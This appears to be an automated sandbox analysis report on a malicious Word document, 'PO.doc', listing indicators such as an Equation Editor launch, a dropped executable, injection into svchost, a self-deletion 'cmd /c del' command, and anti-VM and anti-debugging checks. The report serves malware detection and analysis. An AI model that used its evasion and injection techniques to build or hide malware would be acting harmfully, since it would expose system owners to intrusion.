Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFC90 NtUnmapViewOfSection,		8_2_009FFC90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFC30 NtOpenProcess,		8_2_009FFC30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFC48 NtSetInformationFile,		8_2_009FFC48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A00C40 NtGetContextThread,		8_2_00A00C40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A01D80 NtSuspendThread,		8_2_00A01D80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFD5C NtEnumerateKey,		8_2_009FFD5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFEA0 NtReadVirtualMemory,		8_2_009FFEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFE24 NtWriteVirtualMemory,		8_2_009FFE24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFFFC NtCreateProcessEx,		8_2_009FFFFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFF34 NtQueueApcThread,		8_2_009FFF34
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A350 NtCreateFile,		8_2_0009A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A400 NtReadFile,		8_2_0009A400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A480 NtClose,		8_2_0009A480
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A530 NtAllocateVirtualMemory,		8_2_0009A530
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A34A NtCreateFile,		8_2_0009A34A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A3A3 NtReadFile,		8_2_0009A3A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A47A NtClose,		8_2_0009A47A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009A52B NtAllocateVirtualMemory,		8_2_0009A52B

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Memory allocated: 76F90000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Memory allocated: 76E90000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Memory allocated: 76F90000 page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Memory allocated: 76E90000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76F90000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76E90000 page execute and read and write			Jump to behavior

PE file has an executable .text section which is very likely to contain packed code (zlib compression ratio < 0.3)

Source: ibefrankszx[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ibeframnk863.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Sample is known by Antivirus

Source: PO.doc	Virustotal: Detection: 43%
Source: PO.doc	ReversingLabs: Detection: 28%

Reads software policies

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe'			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32

Jump to behavior

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$PO.doc

Jump to behavior

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE2CF.tmp

Jump to behavior

Classification label

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@12/8@3/3

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Jump to behavior

Binary contains paths to development resources

Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Reads the hosts file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: wntdll.pdb source: ibeframnk863.exe, svchost.exe
Source:	Binary string: svchost.pdb source: ibeframnk863.exe, 00000006.00000002.505477626.00000000006A1000.00000004.00000020.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Source: ibefrankszx[1].exe.2.dr, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: ibeframnk863.exe.2.dr, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.2.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/ApplicationShell.cs	.Net Code: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E6B84 push dword ptr [ebp-17000000h]; iretd		4_2_002E6B8A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E4DE8 pushfd ; retf		4_2_002E4DE9
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0040E3CE push esi; iretd		6_2_0040E3D6
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00417C03 push edi; iretd		6_2_00417C19
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0040E419 push ds; ret		6_2_0040E41C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041D4F2 push eax; ret		6_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041D4FB push eax; ret		6_2_0041D562
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00417C80 push edi; iretd		6_2_00417C19
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041D4A5 push eax; ret		6_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041D55C push eax; ret		6_2_0041D562
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0DFA1 push ecx; ret		8_2_00A0DFB4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0008E3CE push esi; iretd		8_2_0008E3D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0008E419 push ds; ret		8_2_0008E41C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009D4A5 push eax; ret		8_2_0009D4F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009D4FB push eax; ret		8_2_0009D562
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009D4F2 push eax; ret		8_2_0009D4F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009D55C push eax; ret		8_2_0009D562
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009D7C1 pushfd ; iretd		8_2_0009D7C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00097C03 push edi; iretd		8_2_00097C19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00097C80 push edi; iretd		8_2_00097C19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009DD5E push eax; ret		8_2_0009DD60

Binary may include packed or encrypted code

Source: initial sample	Static PE information: section name: .text entropy: 7.14505383023
Source: initial sample	Static PE information: section name: .text entropy: 7.14505383023

Persistence and Installation Behavior:

Drops PE files

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE9

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Source: Yara match	File source: 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ibeframnk863.exe PID: 2800, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000000089904 second address: 000000000008990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000000089B6E second address: 0000000000089B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2548	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2548	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe TID: 668	Thread sleep time: -37510s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe TID: 1232	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\explorer.exe TID: 1188	Thread sleep time: -34000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 2836	Thread sleep time: -36000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\SysWOW64\svchost.exe

Last function: Thread delayed

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Code function: 6_2_00409AA0 rdtsc

6_2_00409AA0

Contains long sleeps (>= 3 min)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Queries a list of all running processes

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Process information queried: ProcessInformation

Jump to behavior

Contains medium sleeps (>= 30s)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Thread delayed: delay time: 37510			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: explorer.exe, 00000007.00000000.467550341.000000000456F000.00000004.00000001.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000007.00000000.467550341.000000000456F000.00000004.00000001.sdmp	Binary or memory string: scsi\disk&ven_vmware&prod_virtual_disk\5&22be343f&0&000000
Source: explorer.exe, 00000007.00000000.467574386.000000000457A000.00000004.00000001.sdmp	Binary or memory string: pciide\idechannel\5&12368b4a&0&7ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0acpi\pnp0a05\5cacpi\pnp0a05\25pciide\idech7
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp	Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0
Source: explorer.exe, 00000007.00000000.421757574.000000000029B000.00000004.00000020.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: ibeframnk863.exe, 00000004.00000002.420274782.0000000002491000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Code function: 6_2_00409AA0 rdtsc

6_2_00409AA0

Enables debug privileges

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process token adjusted: Debug			Jump to behavior

Contains functionality to read the PEB

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A826F8 mov eax, dword ptr fs:[00000030h]		6_2_00A826F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A126F8 mov eax, dword ptr fs:[00000030h]		8_2_00A126F8

Checks if the current process is being debugged

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Code function: 6_2_0040ACE0 LdrLoadDll,

6_2_0040ACE0

Creates guard pages, often used to prevent reverse engineering and debugging

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe

Memory allocated: page read and write | page guard

Jump to behavior

